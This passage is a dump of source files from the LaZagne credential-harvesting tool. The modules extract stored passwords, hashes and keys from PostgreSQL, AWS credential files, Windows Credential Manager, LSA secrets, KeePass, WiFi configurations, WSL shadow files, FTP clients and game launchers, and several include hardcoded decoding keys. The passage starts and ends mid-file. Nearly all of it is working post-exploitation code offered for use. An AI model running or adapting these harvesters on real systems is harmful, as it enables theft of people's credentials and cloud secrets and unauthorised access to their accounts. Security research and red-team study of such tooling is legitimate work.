data are 30 | given. You should not call this function yourself; DataStruct does 31 | 32 | data is a DataStruct object. 33 | Returns nothing. 34 | 35 | """ 36 | self.revision = data.eat("L") 37 | self.machine = data.eat("20s") 38 | self.user = data.eat("20s") 39 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/databases/postgresql.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import os 4 | 5 | from lazagne.config.constant import constant 6 | from lazagne.config.module_info import ModuleInfo 7 | 8 | 9 | class PostgreSQL(ModuleInfo): 10 | def __init__(self): 11 | ModuleInfo.__init__(self, name='postgresql', category='databases') 12 | 13 | def run(self): 14 | path = os.path.join(constant.profile['APPDATA'], u'postgresql', u'pgpass.conf') 15 | if os.path.exists(path): 16 | with open(path) as f: 17 | pwd_found = [] 18 | for line in f.readlines(): 19 | try: 20 | items = line.strip().split(':') 21 | pwd_found.append({ 22 | 'Hostname': items[0], 23 | 'Port': items[1], 24 | 'DB': items[2], 25 | 'Username': items[3], 26 | 'Password': items[4] 27 | }) 28 | 29 | except Exception: 30 | pass 31 | 32 | return pwd_found 33 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/sysadmin/fstab.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | 6 | from lazagne.config.module_info import ModuleInfo 7 | 8 | 9 | class Fstab(ModuleInfo): 10 | def __init__(self): 11 | ModuleInfo.__init__(self, 'fstab', 'sysadmin') 12 | 13 | def run(self): 14 | pwd_found = [] 15 | path = '/etc/fstab' 16 | if os.path.exists(path): 17 | try: 18 | with open(path) as fstab: 19 | for line in fstab: 20 | if line.startswith('#'): 21 | continue 22 | 23 | filesystem, mount_point, _type, options, dump, _pass = line.strip().split() 24 | if 'password' in options: 25 | pwd_found.append({ 26 | 'Filesystem': filesystem, 27 | 'Mount Point': mount_point, 28 | 'Type': _type, 29 | 'Password': options 30 | }) 31 | 32 | except IOError as e: 33 | self.debug(e.strerror) 34 | 35 | return pwd_found 36 | -------------------------------------------------------------------------------- /Tools/Mac/lazagne/config/module_info.py: -------------------------------------------------------------------------------- 1 | """ 2 | name => Name of a class 3 | category => windows / browsers / etc 4 | options => dictionary 5 | - command 6 | - action 7 | - dest 8 | - help 9 | 10 | ex: ('-s', action='store_true', dest='skype', help='skype') 11 | options['command'] = '-s' 12 | options['action'] = 'store_true' 13 | options['dest'] = 'skype' 14 | options['help'] = 'skype' 15 | """ 16 | 17 | from lazagne.config.write_output import print_debug 18 | 19 | 20 | class ModuleInfo(object): 21 | def __init__(self, name, category, sub_options=[]): 22 | self.name = name 23 | self.category = category 24 | self.options = { 25 | 'command': '-{name}'.format(name=self.name), 26 | 'action': 'store_true', 27 | 'dest': self.name, 28 | 'help': '{name} passwords'.format(name=self.name) 29 | } 30 | self.suboptions = sub_options 31 | 32 | def error(self, message): 33 | print_debug('ERROR', message) 34 | 35 | def info(self, message): 36 | print_debug('INFO', message) 37 | 38 | def debug(self, message): 39 | print_debug('DEBUG', message) 40 | 41 | def warning(self, message): 42 | print_debug('WARNING', message) -------------------------------------------------------------------------------- /Tools/Linux/lazagne/config/lib/memorpy/__init__.py: -------------------------------------------------------------------------------- 1 | # Author: Nicolas VERDIER 2 | # This file is part of memorpy. 3 | # 4 | # memorpy is free software: you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | # the Free Software Foundation, either version 3 of the License, or 7 | # (at your option) any later version. 8 | # 9 | # memorpy is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License 15 | # along with memorpy. If not, see . 16 | 17 | 18 | import logging 19 | logger=logging.getLogger("memorpy") 20 | logger.setLevel(logging.WARNING) 21 | ch = logging.StreamHandler() 22 | ch.setLevel(logging.WARNING) 23 | logger.addHandler(ch) 24 | 25 | import sys 26 | from .MemWorker import * 27 | from .Locator import * 28 | from .Address import * 29 | from .Process import * 30 | from .utils import * 31 | #if sys.platform=="win32": 32 | # from wintools import * #not a necessary dependency, just used for debugging 33 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/lib/memorpy/__init__.py: -------------------------------------------------------------------------------- 1 | # Author: Nicolas VERDIER 2 | # This file is part of memorpy. 3 | # 4 | # memorpy is free software: you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | # the Free Software Foundation, either version 3 of the License, or 7 | # (at your option) any later version. 8 | # 9 | # memorpy is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License 15 | # along with memorpy. If not, see . 16 | 17 | 18 | import logging 19 | logger=logging.getLogger("memorpy") 20 | logger.setLevel(logging.WARNING) 21 | ch = logging.StreamHandler() 22 | ch.setLevel(logging.WARNING) 23 | logger.addHandler(ch) 24 | 25 | import sys 26 | from .MemWorker import * 27 | from .Locator import * 28 | from .Address import * 29 | from .Process import * 30 | from .utils import * 31 | #if sys.platform=="win32": 32 | # from wintools import * #not a necessary dependency, just used for debugging 33 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/config/module_info.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | name => Name of a class 6 | category => windows / browsers / etc 7 | options => dictionary 8 | - command 9 | - action 10 | - dest 11 | - help 12 | 13 | ex: ('-s', action='store_true', dest='skype', help='skype') 14 | - options['command'] = '-s' 15 | - options['action'] = 'store_true' 16 | - options['dest'] = 'skype' 17 | - options['help'] = 'skype' 18 | """ 19 | 20 | from lazagne.config.write_output import print_debug 21 | 22 | class ModuleInfo(): 23 | def __init__(self, name, category, options={}, suboptions=[]): 24 | self.name = name 25 | self.category = category 26 | self.options = { 27 | 'command': '-{name}'.format(name=self.name), 28 | 'action': 'store_true', 29 | 'dest': self.name, 30 | 'help': '{name} passwords'.format(name=self.name) 31 | } 32 | self.suboptions = suboptions 33 | 34 | def error(self, message): 35 | print_debug('ERROR', message) 36 | 37 | def info(self, message): 38 | print_debug('INFO', message) 39 | 40 | def debug(self, message): 41 | print_debug('DEBUG', message) 42 | 43 | def warning(self, message): 44 | print_debug('WARNING', message) -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/databases/squirrel.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | 6 | from xml.etree.cElementTree import ElementTree 7 | 8 | from lazagne.config import homes 9 | from lazagne.config.module_info import ModuleInfo 10 | 11 | 12 | class Squirrel(ModuleInfo): 13 | def __init__(self): 14 | ModuleInfo.__init__(self, 'squirrel', 'databases') 15 | 16 | def get_paths(self): 17 | return homes.get(file=os.path.join('.squirrel-sql', 'SQLAliases23.xml')) 18 | 19 | def parse_xml(self, path): 20 | pwd_found = [] 21 | if os.path.exists(path): 22 | tree = ElementTree(file=path) 23 | elements = {'name': 'Name', 'url': 'URL', 'userName': 'Login', 'password': 'Password'} 24 | for elem in tree.iter('Bean'): 25 | values = {} 26 | for e in elem: 27 | if e.tag in elements: 28 | values[elements[e.tag]] = e.text 29 | if values: 30 | pwd_found.append(values) 31 | 32 | return pwd_found 33 | 34 | def run(self): 35 | all_passwords = [] 36 | for path in self.get_paths(): 37 | all_passwords += self.parse_xml(path) 38 | 39 | return all_passwords 40 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/memory/keepass.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Thanks to the awesome work done by harmjoy 3 | # For more information http://www.harmj0y.net/blog/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/ 4 | 5 | # Thanks for the great work of libkeepass (used to decrypt keepass file) 6 | # https://github.com/phpwutz/libkeepass 7 | 8 | import traceback 9 | 10 | from . import libkeepass 11 | from lazagne.config.constant import constant 12 | from lazagne.config.module_info import ModuleInfo 13 | 14 | 15 | class Keepass(ModuleInfo): 16 | def __init__(self): 17 | ModuleInfo.__init__(self, 'keepass', 'memory') 18 | 19 | def run(self): 20 | # password found on the memory dump class 21 | if constant.keepass: 22 | res = [] 23 | for db in constant.keepass: 24 | try: 25 | with libkeepass.open(db.values()[0][u'Database'], 26 | password=db.get(u"KcpPassword", {}).get(u'Password'), 27 | keyfile=db.get(u"KcpKeyFile", {}).get(u'KeyFilePath')) as kdb: 28 | res.extend(kdb.to_dic()) 29 | except Exception: 30 | self.debug(traceback.format_exc()) 31 | return res 32 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/windows/lsa_secrets.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import struct 3 | 4 | from .creddump7.win32.lsasecrets import get_file_secrets 5 | from lazagne.config.module_info import ModuleInfo 6 | from lazagne.config.winstructure import get_os_version 7 | from lazagne.config.constant import constant 8 | 9 | 10 | class LSASecrets(ModuleInfo): 11 | def __init__(self): 12 | ModuleInfo.__init__(self, 'lsa_secrets', 'windows', system_module=True) 13 | 14 | def run(self): 15 | 16 | # DPAPI structure could compute lsa secrets as well, so do not do it again 17 | if constant.lsa_secrets: 18 | return ['__LSASecrets__', constant.lsa_secrets] 19 | 20 | is_vista_or_higher = False 21 | if float(get_os_version()) >= 6.0: 22 | is_vista_or_higher = True 23 | 24 | # Get LSA Secrets 25 | secrets = get_file_secrets(constant.hives['system'], constant.hives['security'], is_vista_or_higher) 26 | if secrets: 27 | # Clear DPAPI master key 28 | clear = secrets[b'DPAPI_SYSTEM'] 29 | size = struct.unpack_from(". 16 | 17 | from ctypes import windll 18 | import time 19 | 20 | def start_winforeground_daemon(): 21 | import threading 22 | t=threading.Thread(target=window_foreground_loop) 23 | t.daemon=True 24 | t.start() 25 | 26 | def window_foreground_loop(timeout=20): 27 | """ set the windows python console to the foreground (for example when you are working with a fullscreen program) """ 28 | hwnd = windll.kernel32.GetConsoleWindow() 29 | HWND_TOPMOST = -1 30 | SWP_NOMOVE = 2 31 | SWP_NOSIZE = 1 32 | while True: 33 | windll.user32.SetWindowPos(hwnd, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE | SWP_NOSIZE) 34 | time.sleep(timeout) 35 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/lib/memorpy/wintools.py: -------------------------------------------------------------------------------- 1 | # Author: Nicolas VERDIER 2 | # This file is part of memorpy. 3 | # 4 | # memorpy is free software: you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | # the Free Software Foundation, either version 3 of the License, or 7 | # (at your option) any later version. 8 | # 9 | # memorpy is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License 15 | # along with memorpy. If not, see . 16 | 17 | from ctypes import windll 18 | import time 19 | 20 | def start_winforeground_daemon(): 21 | import threading 22 | t=threading.Thread(target=window_foreground_loop) 23 | t.daemon=True 24 | t.start() 25 | 26 | def window_foreground_loop(timeout=20): 27 | """ set the windows python console to the foreground (for example when you are working with a fullscreen program) """ 28 | hwnd = windll.kernel32.GetConsoleWindow() 29 | HWND_TOPMOST = -1 30 | SWP_NOMOVE = 2 31 | SWP_NOSIZE = 1 32 | while True: 33 | windll.user32.SetWindowPos(hwnd, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE | SWP_NOSIZE) 34 | time.sleep(timeout) 35 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/wifi/wifi.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | 6 | from lazagne.config.module_info import ModuleInfo 7 | 8 | 9 | try: 10 | from ConfigParser import RawConfigParser # Python 2.7 11 | except ImportError: 12 | from configparser import RawConfigParser # Python 3 13 | 14 | from collections import OrderedDict 15 | 16 | 17 | class Wifi(ModuleInfo): 18 | def __init__(self): 19 | ModuleInfo.__init__(self, 'wifi', 'wifi') 20 | 21 | def run(self): 22 | pwd_found = [] 23 | directory = u'/etc/NetworkManager/system-connections' 24 | 25 | if os.path.exists(directory): 26 | if os.getuid() == 0: 27 | wireless_ssid = [f for f in os.listdir(directory) if os.path.isfile(os.path.join(directory, f))] 28 | 29 | for w in wireless_ssid: 30 | cp = RawConfigParser() 31 | cp.read(os.path.join(directory, w)) 32 | values = OrderedDict() 33 | try: 34 | values['SSID'] = cp.get('wifi', 'ssid') 35 | values['Password'] = cp.get('wifi-security', 'psk') 36 | pwd_found.append(values) 37 | except Exception: 38 | pass 39 | 40 | else: 41 | self.info('You need sudo privileges') 42 | 43 | return pwd_found 44 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/games/kalypsomedia.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import base64 3 | import os 4 | 5 | from lazagne.config.constant import constant 6 | from lazagne.config.module_info import ModuleInfo 7 | from lazagne.config.winstructure import char_to_int, chr_or_byte 8 | 9 | try: 10 | from ConfigParser import ConfigParser # Python 2.7 11 | except ImportError: 12 | from configparser import ConfigParser # Python 3 13 | 14 | 15 | class KalypsoMedia(ModuleInfo): 16 | def __init__(self): 17 | ModuleInfo.__init__(self, 'kalypsomedia', 'games') 18 | 19 | def xorstring(self, s, k): 20 | """ 21 | xors the two strings 22 | """ 23 | return b''.join(chr_or_byte(char_to_int(x) ^ char_to_int(y)) for x, y in zip(s, k)) 24 | 25 | def run(self): 26 | creds = [] 27 | key = b'lwSDFSG34WE8znDSmvtwGSDF438nvtzVnt4IUv89' 28 | inifile = os.path.join(constant.profile['APPDATA'], u'Kalypso Media\\Launcher\\launcher.ini') 29 | 30 | # The actual user details are stored in *.userdata files 31 | if os.path.exists(inifile): 32 | config = ConfigParser() 33 | config.read(inifile) 34 | 35 | # get the encoded password 36 | cookedpw = base64.b64decode(config.get('styx user', 'password')) 37 | 38 | creds.append({ 39 | 'Login': config.get('styx user', 'login'), 40 | 'Password': self.xorstring(cookedpw, key) 41 | }) 42 | return creds 43 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/sysadmin/aws.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | 6 | from lazagne.config.module_info import ModuleInfo 7 | from lazagne.config import homes 8 | 9 | try: 10 | from ConfigParser import ConfigParser # Python 2.7 11 | except ImportError: 12 | from configparser import ConfigParser # Python 3 13 | 14 | 15 | class Aws(ModuleInfo): 16 | def __init__(self): 17 | ModuleInfo.__init__(self, 'aws', 'sysadmin') 18 | 19 | def get_paths(self): 20 | return homes.get(file=os.path.join('.aws', 'credentials')) 21 | 22 | def get_creds(self, path): 23 | try: 24 | parser = ConfigParser() 25 | parser.read(path) 26 | except Exception: 27 | return 28 | 29 | for section in parser.sections(): 30 | try: 31 | key = parser.get(section, 'aws_access_key_id') 32 | secret = parser.get(section, 'aws_secret_access_key') 33 | yield section, key, secret 34 | except Exception: 35 | continue 36 | 37 | def run(self): 38 | all_passwords = [] 39 | for path in self.get_paths(): 40 | for section, key, secret in self.get_creds(path): 41 | all_passwords.append({ 42 | 'ID': key, 43 | 'KEY': secret, 44 | 'Service': 'AWS', 45 | 'Name': section 46 | }) 47 | 48 | return all_passwords 49 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/games/roguestale.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import os 3 | import re 4 | from xml.etree.cElementTree import ElementTree 5 | 6 | from lazagne.config.constant import constant 7 | from lazagne.config.module_info import ModuleInfo 8 | 9 | 10 | class RoguesTale(ModuleInfo): 11 | def __init__(self): 12 | ModuleInfo.__init__(self, 'roguestale', 'games') 13 | 14 | def run(self): 15 | creds = [] 16 | directory = constant.profile['USERPROFILE'] + u'\\Documents\\Rogue\'s Tale\\users' 17 | 18 | # The actual user details are stored in *.userdata files 19 | if os.path.exists(directory): 20 | files = os.listdir(directory) 21 | 22 | for f in files: 23 | if re.match('.*\.userdata', f): 24 | # We've found a user file, now extract the hash and username 25 | 26 | xmlfile = directory + '\\' + f 27 | tree = ElementTree(file=xmlfile) 28 | root = tree.getroot() 29 | 30 | # Double check to make sure that the file is valid 31 | if root.tag != 'user': 32 | self.warning(u'Profile %s does not appear to be valid' % f) 33 | continue 34 | 35 | # Now save it to credentials 36 | creds.append({ 37 | 'Login': root.attrib['username'], 38 | 'Hash': root.attrib['password'] 39 | }) 40 | 41 | return creds 42 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/windows/credman.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from lazagne.config.module_info import ModuleInfo 3 | from lazagne.config.winstructure import * 4 | 5 | 6 | class Credman(ModuleInfo): 7 | def __init__(self): 8 | ModuleInfo.__init__(self, 'credman', 'windows', only_from_current_user=True) 9 | 10 | def run(self): 11 | pwd_found = [] 12 | # FOR XP 13 | # - password are encrypted with specific salt depending on its Type 14 | # entropy = 'abe2869f-9b47-4cd9-a358-c22904dba7f7\\0' # FOR CRED_TYPE_GENERIC 15 | # entropy = '82BD0E67-9FEA-4748-8672-D5EFE5B779B0\\0' # FOR CRED_TYPE_DOMAIN_VISIBLE_PASSWORD 16 | # CryptUnprotectData(byref(blobIn),None,byref(blobEntropy),None,None,CRYPTPROTECT_UI_FORBIDDEN,byref(blobOut)) 17 | 18 | creds = POINTER(PCREDENTIAL)() 19 | count = c_ulong() 20 | 21 | if CredEnumerate(None, 0, byref(count), byref(creds)) == 1: 22 | for i in range(count.value): 23 | c = creds[i].contents 24 | if c.Type == CRED_TYPE_GENERIC or c.Type == CRED_TYPE_DOMAIN_VISIBLE_PASSWORD: 25 | # Remove password too long 26 | if c.CredentialBlobSize.real < 200: 27 | pwd_found.append({ 28 | 'URL': c.TargetName, 29 | 'Login': c.UserName, 30 | 'Password': c.CredentialBlob[:c.CredentialBlobSize.real].replace(b"\x00", b"") 31 | }) 32 | 33 | CredFree(creds) 34 | return pwd_found 35 | -------------------------------------------------------------------------------- /Tools/Mac/lazagne/softwares/system/chainbreaker_module/pbkdf2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # A simple implementation of pbkdf2 using stock python modules. See RFC2898 4 | # for details. Basically, it derives a key from a password and salt. 5 | 6 | # (c) 2004 Matt Johnston 7 | # This code may be freely used and modified for any purpose. 8 | 9 | import sha 10 | import hmac 11 | 12 | from struct import pack 13 | 14 | BLOCKLEN = 20 15 | 16 | 17 | # this is what you want to call. 18 | def pbkdf2(password, salt, itercount, keylen, hashfn=sha): 19 | # l - number of output blocks to produce 20 | l = keylen / BLOCKLEN 21 | if keylen % BLOCKLEN != 0: 22 | l += 1 23 | 24 | h = hmac.new(password, None, hashfn) 25 | 26 | T = "" 27 | for i in range(1, l + 1): 28 | T += pbkdf2_F(h, salt, itercount, i) 29 | 30 | return T[: -(BLOCKLEN - keylen % BLOCKLEN)] 31 | 32 | 33 | def xorstr(a, b): 34 | if len(a) != len(b): 35 | raise "xorstr(): lengths differ" 36 | 37 | ret = '' 38 | for i in range(len(a)): 39 | ret += chr(ord(a[i]) ^ ord(b[i])) 40 | 41 | return ret 42 | 43 | 44 | def prf(h, data): 45 | hm = h.copy() 46 | hm.update(data) 47 | return hm.digest() 48 | 49 | 50 | # Helper as per the spec. h is a hmac which has been created seeded with the 51 | # password, it will be copy()ed and not modified. 52 | def pbkdf2_F(h, salt, itercount, blocknum): 53 | U = prf(h, salt + pack('>i', blocknum)) 54 | T = U 55 | 56 | for i in range(2, itercount + 1): 57 | U = prf(h, U) 58 | T = xorstr(T, U) 59 | 60 | return T 61 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/module_info.py: -------------------------------------------------------------------------------- 1 | """ 2 | name => Name of a class 3 | category => windows / browsers / etc 4 | options => dictionary 5 | - command 6 | - action 7 | - dest 8 | - help 9 | 10 | ex: ('-s', action='store_true', dest='skype', help='skype') 11 | - options['command'] = '-s' 12 | - options['action'] = 'store_true' 13 | - options['dest'] = 'skype' 14 | - options['help'] = 'skype' 15 | """ 16 | 17 | from lazagne.config.write_output import print_debug 18 | 19 | 20 | class ModuleInfo(object): 21 | 22 | def __init__(self, name, category, options={}, suboptions=[], registry_used=False, winapi_used=False, 23 | system_module=False, dpapi_used=False, only_from_current_user=False): 24 | self.name = name 25 | self.category = category 26 | self.options = { 27 | 'command': '-{name}'.format(name=self.name), 28 | 'action': 'store_true', 29 | 'dest': self.name, 30 | 'help': '{name} passwords'.format(name=self.name) 31 | } 32 | self.suboptions = suboptions 33 | self.registry_used = registry_used 34 | self.system_module = system_module 35 | self.winapi_used = winapi_used 36 | self.dpapi_used = dpapi_used 37 | self.only_from_current_user = only_from_current_user 38 | 39 | def error(self, message): 40 | print_debug('ERROR', message) 41 | 42 | def info(self, message): 43 | print_debug('INFO', message) 44 | 45 | def debug(self, message): 46 | print_debug('DEBUG', message) 47 | 48 | def warning(self, message): 49 | print_debug('WARNING', message) -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/sysadmin/filezillaserver.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from xml.etree.cElementTree import ElementTree 3 | 4 | from lazagne.config.module_info import ModuleInfo 5 | from lazagne.config.constant import constant 6 | 7 | import os 8 | 9 | 10 | class FilezillaServer(ModuleInfo): 11 | def __init__(self): 12 | ModuleInfo.__init__(self, 'filezillaserver', 'sysadmin') 13 | 14 | def run(self): 15 | path = os.path.join(constant.profile['APPDATA'], u'FileZilla Server') 16 | if os.path.exists(path): 17 | pwd_found = [] 18 | file = u'FileZilla Server Interface.xml' 19 | 20 | xml_file = os.path.join(path, file) 21 | 22 | if os.path.exists(xml_file): 23 | tree = ElementTree(file=xml_file) 24 | root = tree.getroot() 25 | host = port = password = None 26 | 27 | for item in root.iter("Item"): 28 | if item.attrib['name'] == 'Last Server Address': 29 | host = item.text 30 | elif item.attrib['name'] == 'Last Server Port': 31 | port = item.text 32 | elif item.attrib['name'] == 'Last Server Password': 33 | password = item.text 34 | # if all((host, port, login)) does not work 35 | if host is not None and port is not None and password is not None: 36 | pwd_found = [{ 37 | 'Host': host, 38 | 'Port': port, 39 | 'Password': password, 40 | }] 41 | 42 | return pwd_found 43 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/sysadmin/wsl.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from lazagne.config.module_info import ModuleInfo 4 | from lazagne.config.constant import constant 5 | 6 | import os 7 | 8 | 9 | class Wsl(ModuleInfo): 10 | def __init__(self): 11 | ModuleInfo.__init__(self, 'wsl', 'sysadmin') 12 | 13 | def run(self): 14 | pwd_found = [] 15 | shadow_files_list = [] 16 | 17 | # Old WSL PATH 18 | old_path = os.path.join(constant.profile['LOCALAPPDATA'], u'lxss\\rootfs\\etc\\shadow') 19 | 20 | if os.path.exists(old_path): 21 | shadow_files_list.append(old_path) 22 | 23 | # New WSL PATH need to look into Package folder 24 | new_path = os.path.join(constant.profile['LOCALAPPDATA'], u'Packages\\') 25 | if os.path.exists(new_path): 26 | for root, dirs, files in os.walk(new_path): 27 | for file in files: 28 | if file == "shadow": 29 | shadow_files_list.append(os.path.join(root, file)) 30 | 31 | # Extract the hashes 32 | for shadow in shadow_files_list: 33 | with open(shadow, 'r') as shadow_file: 34 | for line in shadow_file.readlines(): 35 | user_hash = line.replace('\n', '') 36 | line = user_hash.split(':') 37 | 38 | # Check if a password is defined 39 | if not line[1] in ['x', '*', '!']: 40 | pwd_found.append({ 41 | 'Hash': ':'.join(user_hash.split(':')[1:]), 42 | 'Login': user_hash.split(':')[0].replace('\n', '') 43 | }) 44 | return pwd_found 45 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/wifi/wpa_supplicant.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | ####################### 5 | # 6 | # By rpesche 7 | # 8 | ####################### 9 | 10 | import re 11 | import os 12 | 13 | from lazagne.config.module_info import ModuleInfo 14 | 15 | 16 | class Wpa_supplicant(ModuleInfo): 17 | def __init__(self): 18 | ModuleInfo.__init__(self, 'wpa_supplicant', 'wifi') 19 | 20 | def parse_file_network(self, fd): 21 | password = None 22 | ssid = None 23 | 24 | for line in fd: 25 | if re.match('^[ \t]*ssid=', line): 26 | ssid = (line.split("\"")[1]) 27 | if re.match('^[ \t]*psk=', line): 28 | password = line.split("\"")[1] 29 | if re.match('^[ \t]*password=', line): 30 | password = line.split("\"")[1] 31 | if re.match('^[ \t]*}', line): 32 | return (ssid, password) 33 | 34 | def run(self): 35 | pwd_found = [] 36 | wifi_path = u'/etc/wpa_supplicant/wpa_supplicant.conf' 37 | 38 | if os.path.exists(wifi_path): 39 | # Check root access 40 | if os.getuid() == 0: 41 | with open(wifi_path) as fd: 42 | for line in fd: 43 | if 'network=' in line: 44 | (ssid, password) = self.parse_file_network(fd) 45 | if ssid and password: 46 | pwd_found.append({ 47 | 'SSID': ssid, 48 | 'Password': password, 49 | }) 50 | else: 51 | self.info('You need sudo privileges') 52 | 53 | 54 | return pwd_found 55 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/crypto/rc4.py: -------------------------------------------------------------------------------- 1 | # Thanks to g2jun for his RC4-Python project 2 | # Code from https://github.com/g2jun/RC4-Python 3 | 4 | from lazagne.config.winstructure import char_to_int, chr_or_byte 5 | 6 | 7 | class RC4(object): 8 | 9 | def __init__(self, key): 10 | self.key_bytes = self.text_to_bytes(key) 11 | 12 | def text_to_bytes(self, text): 13 | byte_list = [] 14 | 15 | # on Windows, default coding for Chinese is GBK 16 | # s = s.decode('gbk').encode('utf-8') 17 | for byte in text: 18 | byte_list.append(char_to_int(byte)) 19 | 20 | return byte_list 21 | 22 | def bytes_to_text(self, byte_list): 23 | s = b'' 24 | for byte in byte_list: 25 | s += chr_or_byte(byte) 26 | return s 27 | 28 | def encrypt(self, data): 29 | plain_bytes = self.text_to_bytes(data) 30 | keystream_bytes, cipher_bytes = self.crypt(plain_bytes, self.key_bytes) 31 | return self.bytes_to_text(cipher_bytes) 32 | 33 | def crypt(self, plain_bytes, key_bytes): 34 | 35 | keystream_list = [] 36 | cipher_list = [] 37 | 38 | key_len = len(key_bytes) 39 | plain_len = len(plain_bytes) 40 | S = list(range(256)) 41 | 42 | j = 0 43 | for i in range(256): 44 | j = (j + S[i] + key_bytes[i % key_len]) % 256 45 | S[i], S[j] = S[j], S[i] 46 | 47 | i = 0 48 | j = 0 49 | for m in range(plain_len): 50 | i = (i + 1) % 256 51 | j = (j + S[i]) % 256 52 | S[i], S[j] = S[j], S[i] 53 | k = S[(S[i] + S[j]) % 256] 54 | keystream_list.append(k) 55 | cipher_list.append(k ^ plain_bytes[m]) 56 | 57 | return keystream_list, cipher_list -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/sysadmin/ftpnavigator.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import struct 3 | 4 | from lazagne.config.module_info import ModuleInfo 5 | from lazagne.config.constant import constant 6 | 7 | import os 8 | 9 | 10 | class FtpNavigator(ModuleInfo): 11 | def __init__(self): 12 | ModuleInfo.__init__(self, 'ftpnavigator', 'sysadmin', system_module=True) 13 | 14 | def decode(self, encode_password): 15 | password = '' 16 | for p in encode_password: 17 | password += chr(struct.unpack('B', p)[0] ^ 0x19) 18 | return password 19 | 20 | def run(self): 21 | path = os.path.join(constant.profile['HOMEDRIVE'], u'\\FTP Navigator', u'Ftplist.txt') 22 | elements = {'Name': 'Name', 'Server': 'Host', 'Port': 'Port', 'User': 'Login', 'Password': 'Password'} 23 | if os.path.exists(path): 24 | pwd_found = [] 25 | with open(path, 'r') as f: 26 | for ff in f: 27 | values = {} 28 | info = ff.split(';') 29 | for i in info: 30 | i = i.split('=') 31 | for e in elements: 32 | if i[0] == e: 33 | if i[0] == "Password" and i[1] != '1' and i[1] != '0': 34 | values['Password'] = self.decode(i[1]) 35 | else: 36 | values[elements[i[0]]] = i[1] 37 | 38 | # used to save the password if it is an anonymous authentication 39 | if values['Login'] == 'anonymous' and 'Password' not in values: 40 | values['Password'] = 'anonymous' 41 | 42 | pwd_found.append(values) 43 | 44 | return pwd_found 45 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/windows/autologon.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | try: 3 | import _winreg as winreg 4 | except ImportError: 5 | import winreg 6 | 7 | from lazagne.config.module_info import ModuleInfo 8 | from lazagne.config.winstructure import * 9 | 10 | # Password are stored in cleartext on old system (< 2008 R2 and < Win7) 11 | # If enabled on recent system, the password should be visible on the lsa secrets dump (check lsa module output) 12 | 13 | 14 | class Autologon(ModuleInfo): 15 | def __init__(self): 16 | ModuleInfo.__init__(self, 'autologon', 'windows', registry_used=True, system_module=True) 17 | 18 | def run(self): 19 | pwd_found = [] 20 | try: 21 | hkey = OpenKey(HKEY_LOCAL_MACHINE, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') 22 | if int(winreg.QueryValueEx(hkey, 'AutoAdminLogon')[0]) == 1: 23 | self.debug(u'Autologin enabled') 24 | 25 | keys = { 26 | 'DefaultDomainName': '', 27 | 